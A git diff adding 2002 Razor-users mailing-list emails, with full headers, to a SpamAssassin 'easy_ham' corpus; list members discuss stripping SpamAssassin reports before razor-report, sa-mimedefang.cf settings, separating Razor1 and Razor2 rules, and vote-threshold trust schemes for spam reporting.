can then do things like +open relay checks, reports to spamcop, etc. It's available via: +http://www.kluge.net/~felicity/random/handlespam.txt + + +:) + +-- +Randomly Generated Tagline: +"But you have to allow a little for the desire to evangelize when you + think you have good news." - Larry Wall + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00639.43637fbcd1f0ec1e40b1a14df77a5f66 b/bayes/spamham/easy_ham_2/00639.43637fbcd1f0ec1e40b1a14df77a5f66 new file mode 100644 index 0000000..b18d324 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00639.43637fbcd1f0ec1e40b1a14df77a5f66 @@ -0,0 +1,116 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:48:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 689AD43C51 + for ; Wed, 14 Aug 2002 05:45:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:45:59 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DJC2414861 for ; Tue, 13 Aug 2002 20:12:02 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eguq-0004NC-00; Tue, + 13 Aug 2002 12:01:16 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17egu3-0007Rh-00 for ; Tue, + 13 Aug 2002 12:00:27 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7DJ06W7008195; + Tue, 13 Aug 2002 14:00:06 -0500 +MIME-Version: 1.0 +Message-Id: +In-Reply-To: <20020813184621.GH31657@kluge.net> +References: + <20020813175229.GF31657@kluge.net> + + <20020813184621.GH31657@kluge.net> +To: Theo Van Dinter +From: Justin Shore +Subject: Re: [Razor-users] Stripping the SpamAssassin report +Cc: razor-users@example.sourceforge.net +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 14:00:21 -0500 +Date: Tue, 13 Aug 2002 14:00:21 -0500 + +At 2:46 PM -0400 8/13/02, Theo Van Dinter wrote: +>On Tue, Aug 13, 2002 at 01:01:42PM -0500, Justin Shore wrote: +>> Ah... You learn something new every day! This would make things +>> quite a bit easier. I assume it can handle a mailbox full of mail to +>> report rather than a single piece of spam from STDIN. I'll check the +>> docs on that though. +> +>Unfortunately not, it's a one at a time thing. If it would help +>you, I have a script that I use which handles a mbox file at a time, +>strips the SA stuff, reports to razor, and can then do things like +>open relay checks, reports to spamcop, etc. It's available via: +>http://www.kluge.net/~felicity/random/handlespam.txt + +I'll give that a looksie. I've been running a week's worth of +maillog relay= IPs through rbcheck every Sunday. Found quite a few. +I should break up the list and run multiple rbcheck instances. Just +haven't gotten there yet though. I think I'll have either MIMEDefang +or Procmail keep a copy of messages over a certain score for daily +razor-reporting. I could just let SA do it too I suppose. + +Say, maybe you can tell me what I'm doing wrong in SA. I added +report_header 1 to my +/etc/mail/mimedefang/spamassassin/sa-mimedefang.cf but it didn't +appear to change anything. I bounced over another copy of spam to my +spamtrap and it still created the SPAM: attachment. sa-mimedefang.cf +has this in it now: + +required_hits 1 +auto_report_threshold 100 +ok_locales en +rewrite_subject 0 +report_header 1 +use_terse_report 1 +defang_mime 0 +skip_rbl_checks 1 + +I can't figure out if that was the write cf to modify or not. I also +have a /etc/mail/spamassassin/local.cf but it's empty. I think I +might be taking too many bites out of too many pies at once. :-) The +required_hits changes I made to sa-mimedefang.cf seem to have worked. +I don't know why the report_header change didn't though. Any ideas? + +Justin +-- + +-- +Justin Shore, ES-SS ES-SSR Pittsburg State University +Network & Systems Manager Kelce 157Q +Office of Information Systems Pittsburg, KS 66762 +Voice: (620) 235-4606 Fax: (620) 235-4545 +http://www.pittstate.edu/ois/ + +Warning: This message has been quadruple Rot13'ed for your protection. + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00640.04d998e4ce436cfaf73280a77ee268a1 b/bayes/spamham/easy_ham_2/00640.04d998e4ce436cfaf73280a77ee268a1 new file mode 100644 index 0000000..1ae127d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00640.04d998e4ce436cfaf73280a77ee268a1 @@ -0,0 +1,79 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:48:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E8BB43C55 + for ; Wed, 14 Aug 2002 05:46:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:46:02 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DJEV414892 for ; Tue, 13 Aug 2002 20:14:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17egy3-0005Zg-00; Tue, + 13 Aug 2002 12:04:35 -0700 +Received: from dhcp024-208-195-177.indy.rr.com ([24.208.195.177] + helo=burgers.bubbanfriends.org) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17egxJ-0007p0-00 for ; Tue, + 13 Aug 2002 12:03:49 -0700 +Received: from localhost (localhost.localdomain [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id BE9F7400088; + Tue, 13 Aug 2002 14:03:48 -0500 (EST) +Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id + AFC40401A40; Tue, 13 Aug 2002 14:03:47 -0500 (EST) +Received: from localhost (localhost [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id AE031C00CE0; + Tue, 13 Aug 2002 14:03:47 -0500 (EST) +From: Mike Burger +To: Theo Van Dinter +Cc: Justin Shore , + +Subject: Re: [Razor-users] Stripping the SpamAssassin report +In-Reply-To: <20020813175229.GF31657@kluge.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +X-Virus-Scanned: by AMaViS new-20020517 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 14:03:47 -0500 (EST) +Date: Tue, 13 Aug 2002 14:03:47 -0500 (EST) + +On Tue, 13 Aug 2002, Theo Van Dinter wrote: + +> On Tue, Aug 13, 2002 at 11:58:03AM -0500, Justin Shore wrote: +> > I'm assuming I need to strip the SpamAssassinReport.txt attachments +> > from my spam mailbox before I run the mailbox through razor-report, +> > correct? Does anyone know of an easy way to do this? +> +> use "spamassassin -r". It'll take a message, strip the SA bits, and +> report to razor, all in one shot. :) + +As long as you're not using razor2, that is, right? + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00641.a4e760e8ab2d1fb7302559751ab28d27 b/bayes/spamham/easy_ham_2/00641.a4e760e8ab2d1fb7302559751ab28d27 new file mode 100644 index 0000000..ea17e19 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00641.a4e760e8ab2d1fb7302559751ab28d27 @@ -0,0 +1,81 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:48:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7FECA43C56 + for ; Wed, 14 Aug 2002 05:46:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:46:04 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DJEY414900 for ; Tue, 13 Aug 2002 20:14:34 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17egxh-0005RG-00; Tue, + 13 Aug 2002 12:04:13 -0700 +Received: from dhcp024-208-195-177.indy.rr.com ([24.208.195.177] + helo=burgers.bubbanfriends.org) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17egww-0007lS-00 for ; Tue, + 13 Aug 2002 12:03:27 -0700 +Received: from localhost (localhost.localdomain [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id 914BE400088; + Tue, 13 Aug 2002 14:03:21 -0500 (EST) +Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id + 55F66401A40; Tue, 13 Aug 2002 14:03:20 -0500 (EST) +Received: from localhost (localhost [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id 540E7C00CE0; + Tue, 13 Aug 2002 14:03:20 -0500 (EST) +From: Mike Burger +To: David Raistrick +Cc: Justin Shore , + +Subject: Re: [Razor-users] Stripping the SpamAssassin report +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +X-Virus-Scanned: by AMaViS new-20020517 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 14:03:20 -0500 (EST) +Date: Tue, 13 Aug 2002 14:03:20 -0500 (EST) + +On Tue, 13 Aug 2002, David Raistrick wrote: + +> To actually answer Justin's question, (one can assume that he has +> rewrite_subject and report_header turned on because he wants them..and +> that he would like to be able to strip the added bits off before he sends +> them to razor) something as simple as the following would probably work +> just fine. Just pipe your message through this, then on into +> razor-report: + +I wouldn't make that assumption. I'd assume that rewrite_subject was on, +and report_header was off, because that's the default configuration, and +not everyone knows to go look in the user_prefs file to make those +changes. + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00642.c7266ceeb9cb8ec38597c40c47cc9ec0 b/bayes/spamham/easy_ham_2/00642.c7266ceeb9cb8ec38597c40c47cc9ec0 new file mode 100644 index 0000000..c8455c2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00642.c7266ceeb9cb8ec38597c40c47cc9ec0 @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:49:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 769E743C34 + for ; Wed, 14 Aug 2002 05:46:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:46:06 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DJIZ414964 for ; Tue, 13 Aug 2002 20:18:35 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eh6L-00088t-00; Tue, + 13 Aug 2002 12:13:09 -0700 +Received: from wow.atlasta.net ([12.129.13.20]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eh5g-0001Lc-00 for ; Tue, + 13 Aug 2002 12:12:28 -0700 +Received: from wow.atlasta.net (localhost.atlasta.net [127.0.0.1]) by + wow.atlasta.net (8.12.2/8.12.2) with ESMTP id g7DJCPSj056278; + Tue, 13 Aug 2002 12:12:25 -0700 (PDT) +Received: from localhost (drais@localhost) by wow.atlasta.net + (8.12.2/8.12.2/Submit) with ESMTP id g7DJCP8m056275; Tue, 13 Aug 2002 + 12:12:25 -0700 (PDT) +From: David Raistrick +To: Mike Burger +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Stripping the SpamAssassin report +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 12:12:25 -0700 (PDT) +Date: Tue, 13 Aug 2002 12:12:25 -0700 (PDT) + +On Tue, 13 Aug 2002, Mike Burger wrote: + +> On Tue, 13 Aug 2002, David Raistrick wrote: +> +> > To actually answer Justin's question, (one can assume that he has +> > rewrite_subject and report_header turned on because he wants them..and + +> I wouldn't make that assumption. I'd assume that rewrite_subject was on, +> and report_header was off, because that's the default configuration, and + +Erps. I did misword that. The message (and assumption) was oriented +toward a message that has rewrite_subject on and report_header off...the +default configuration. For the header removals it contained enough to +also take care of dcc_add_header 1, but not report_header 1. + +thanks. + +..david + +--- +david raistrick +drais@atlasta.net http://www.expita.com/nomime.html + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00643.cc9dcaf6c8befb9ebdff42e47aa0fe1e b/bayes/spamham/easy_ham_2/00643.cc9dcaf6c8befb9ebdff42e47aa0fe1e new file mode 100644 index 0000000..d7bc443 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00643.cc9dcaf6c8befb9ebdff42e47aa0fe1e @@ -0,0 +1,45 @@ +From jm@netnoteinc.com Thu Aug 15 11:01:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0C65743C36 + for ; Thu, 15 Aug 2002 06:00:55 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 11:00:55 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([194.165.165.123]) + by webnote.net (8.9.3/8.9.3) with ESMTP id KAA07409 + for ; Thu, 15 Aug 2002 10:54:49 +0100 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com [192.168.2.14]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g7F9rjp32374; + Thu, 15 Aug 2002 10:53:45 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) + id 9D3F044134; Thu, 15 Aug 2002 05:52:18 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP + id 96E25341E8; Thu, 15 Aug 2002 10:52:18 +0100 (IST) +To: "Craig R.Hughes" +Cc: mail@vipul.net, Justin Mason , + razor-users@lists.sourceforge.net +Subject: Re: [Razor-users] dot-tk registrations hitting Razor +In-Reply-To: Message from "Craig R.Hughes" + of "Wed, 14 Aug 2002 22:57:17 PDT." +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Date: Thu, 15 Aug 2002 10:52:13 +0100 +Sender: yyyy@webnote.net +Message-Id: <20020815095218.9D3F044134@phobos.labs.netnoteinc.com> + + +"Craig R.Hughes" said: + +> Hmm, tricky because we've got Razor1 and Razor2 rolled into one +> rule. Probably should break them out as separate rules anyway +> so they can get different scores, etc. Not too hard to do, but +> it's nearly 11pm so I'll see if I can get to it tomorrow. + +IMO 2 separate rules is a good idea anyway, razor2 has totally different +hitrates (generally better I think) to razor1. + +--j. + diff --git a/bayes/spamham/easy_ham_2/00644.d59c01bb3dcc7e4f5db98e5d225d240a b/bayes/spamham/easy_ham_2/00644.d59c01bb3dcc7e4f5db98e5d225d240a new file mode 100644 index 0000000..2df192d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00644.d59c01bb3dcc7e4f5db98e5d225d240a @@ -0,0 +1,146 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 15 10:49:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4CBE243C4B + for ; Thu, 15 Aug 2002 05:48:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:48:23 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7ELPr404460 for ; Wed, 14 Aug 2002 22:25:53 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f5Ss-0006FI-00; Wed, + 14 Aug 2002 14:14:02 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17f5Rv-0005qy-00 for + ; Wed, 14 Aug 2002 14:13:03 -0700 +Received: (qmail 68094 invoked by uid 1001); 14 Aug 2002 21:12:56 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 14 Aug 2002 21:12:56 -0000 +From: Patrick +To: "Oates, Isaac" +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] many vs one +In-Reply-To: <1C63DA9F9722C2499FA0475B8B8625E32151ED@ex-mail-04.ant.amazon.com> +Message-Id: <20020814135041.B67991-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 14:12:56 -0700 (PDT) +Date: Wed, 14 Aug 2002 14:12:56 -0700 (PDT) + +On Wed, 14 Aug 2002, Oates, Isaac wrote: + +> I'm new to razor but have studied trust systems before. I've been following +> the threads about TeS and have a few thoughts. +> +> First, a more complex algorithm is not always better. As soon as you start +> accounting for edge cases in what should otherwise be a generalized +> algorithm, general performance begins to degrade exponentially. The +> thing that razor should have going for it is numbers. Say that razor +> has 100,000 people that actively use it (i.e. click the "Spam" button on +> their mail reader from time to time.) If we decide that our objective +> is to screen 99.0% of spam, it means that we can continue to show what +> appears to be a piece of spam to 1,000 people and still meet our +> objective. +> +> Why not just wait for 1,000 people to vote that a piece of mail is indeed +> spam before ever acknowledging that it could potentially be spam? In +> other words, when I razor-report a message, should I be able to tell +> that razor has ever even seen that message? + +Because you then have a system that is ineffective to a varying degree. A +simplistic view would be that 999 subscribers received a piece of spam +that could have otherwise been avoided. But the reality is likely that +many, many more individuals would have received the piece of spam when you +factor in report times. + +> By having the server pretend to never have seen it, you can avoid +> people who just re-report spam because it was already marked as spam, +> something that is completely useless. + +Wrong. razor-check will tell you if a specific piece of mail matches +something already in the database. If you have the system pretend to have +never seen a piece of mail, how do you propose people use the system for +filtering? + +> What about revocations? A revocation is after the fact because a +> substantial number of people (1,000, in this example) have already +> decided that they do not want that message. If it is marked as spam by +> all those people, and then people start revoking it, what does that +> mean? + +> It means that the revokers have an opinion that probably doesn't mesh +> with the majority; + +No, it means that the people doing the revoking have a different opinion +than the 1000 people who have submitted it as spam. Rather the 1000 people +who have reported the message as spam constitute a majority or not is +something that would have to be determined in the context of the +individual message. + +> instead of messing with its rating, why not just put +> it on the whitelist? If I want that ZDNet mail, and most people think +> that ZDNet mail is just plain annoying, then why can't I whitelist it, +> instead of "arguing" with everyone about whether or not it's spam? + +You always have that ability. + +> Correct me if I'm wrong, but it's not as if all mail from ZDNet will be +> banned in the future-just that one piece. So if ZDNet were to change +> its system to make it easier to opt out, or whatever, people would hopefully +> start unsubscribing instead of clicking the "Spam" button. + +It's my opinion that it's not my job to unsubscribe to any list that I +haven't subscribed to, nor is it necessarily in my best interest given +that some parties sending unwanted communications may utilize the +unsubscribe request as a method of determining they are mailing a valid +address. + +> The inherent problem here, of course, is that someone can pretend to be +> 1,000 people and block anything they choose. But say you still have a +> lightweight trust system built in, where when they "agree" with the +> majority (though they couldn't have known because razor hadn't +> acknowledged anything yet) then your trust rating goes up and vice +> versa. +> +> The key here is that, in order to be reliable, you need the numbers. What +> am I missing here? + +See above. + + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00645.a7332dcc1cb55cadebf1560272154304 b/bayes/spamham/easy_ham_2/00645.a7332dcc1cb55cadebf1560272154304 new file mode 100644 index 0000000..63ae33a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00645.a7332dcc1cb55cadebf1560272154304 @@ -0,0 +1,174 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 15 10:49:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8B50543C38 + for ; Thu, 15 Aug 2002 05:48:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:48:29 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7ELdX404946 for ; Wed, 14 Aug 2002 22:39:38 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17f5dX-000771-00; Wed, + 14 Aug 2002 14:25:03 -0700 +Received: from ducati.amazon.com ([207.171.190.152]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17f5dI-0007dp-00 for ; Wed, + 14 Aug 2002 14:24:48 -0700 +Received: from honda.amazon.com (honda.amazon.com [10.16.42.208]) by + ducati.amazon.com (Postfix) with ESMTP id D5D2613C5; Wed, 14 Aug 2002 + 14:24:46 -0700 (PDT) +Received: from ex-mail-04.ant.amazon.com by honda.amazon.com with ESMTP + (crosscheck: ex-mail-04.ant.amazon.com [10.16.42.226]) id g7ELOkMd015136; + Wed, 14 Aug 2002 14:24:46 -0700 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Subject: RE: [Razor-users] many vs one +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <1C63DA9F9722C2499FA0475B8B8625E32151EE@ex-mail-04.ant.amazon.com> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [Razor-users] many vs one +Thread-Index: AcJD113LPWCFkGHITKuGwP4zuDlM1QAADfzA +From: "Oates, Isaac" +To: "Patrick" +Cc: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 14:24:46 -0700 +Date: Wed, 14 Aug 2002 14:24:46 -0700 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7ELdX404946 + +First, 1,000 people will have seen the piece of spam that could've been avoided. But the other 99,000 will never see that spam. Evenly distributed, it means that an average user will only see 1% of spam. That's not realistic, because not everyone will get the same spam, but the basic threshold can be adjusted. At the very least, 30 people need to "vote" on a given piece of mail to make a realistic decision. Since there's no "no" vote mechanism (except revocation--and that's after the fact), only a "yes" vote mechanism exists and so if you received 30 "yes" votes then you could safely say that you got a reasonable sample. + +The system could pretend to have never seen the piece of mail until after it determined that it was probably spam. So instead of a rating going up incrementally, it would take a big leap at the beginning (from undefined to a relatively high number) and then go from there. So after the first group of people (our samplers, we'll say) have seen the spam, no one else would ever see it. + +As far as unsubscribing, I'm always leery of clicking on the link (and don't do so unless I specifically remember signing up for something), but the sample population will decide for themselves whether they feel that it's spam. + +So ultimately, I guess I'm saying that the most effective route would be to use a constantly changing sample pool and just accept that there is some fraction of users that will have to see the spam. In a system that depends on people deciding whether or not something is spam, is there any other way? + +Isaac + +-----Original Message----- +From: Patrick +Sent: Wednesday, August 14, 2002 2:13 PM +To: Oates, Isaac +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] many vs one + +On Wed, 14 Aug 2002, Oates, Isaac wrote: + +> I'm new to razor but have studied trust systems before. I've been following +> the threads about TeS and have a few thoughts. +> +> First, a more complex algorithm is not always better. As soon as you start +> accounting for edge cases in what should otherwise be a generalized +> algorithm, general performance begins to degrade exponentially. The +> thing that razor should have going for it is numbers. Say that razor +> has 100,000 people that actively use it (i.e. click the "Spam" button on +> their mail reader from time to time.) If we decide that our objective +> is to screen 99.0% of spam, it means that we can continue to show what +> appears to be a piece of spam to 1,000 people and still meet our +> objective. +> +> Why not just wait for 1,000 people to vote that a piece of mail is indeed +> spam before ever acknowledging that it could potentially be spam? In +> other words, when I razor-report a message, should I be able to tell +> that razor has ever even seen that message? + +Because you then have a system that is ineffective to a varying degree. A +simplistic view would be that 999 subscribers received a piece of spam +that could have otherwise been avoided. But the reality is likely that +many, many more individuals would have received the piece of spam when you +factor in report times. + +> By having the server pretend to never have seen it, you can avoid +> people who just re-report spam because it was already marked as spam, +> something that is completely useless. + +Wrong. razor-check will tell you if a specific piece of mail matches +something already in the database. If you have the system pretend to have +never seen a piece of mail, how do you propose people use the system for +filtering? + +> What about revocations? A revocation is after the fact because a +> substantial number of people (1,000, in this example) have already +> decided that they do not want that message. If it is marked as spam by +> all those people, and then people start revoking 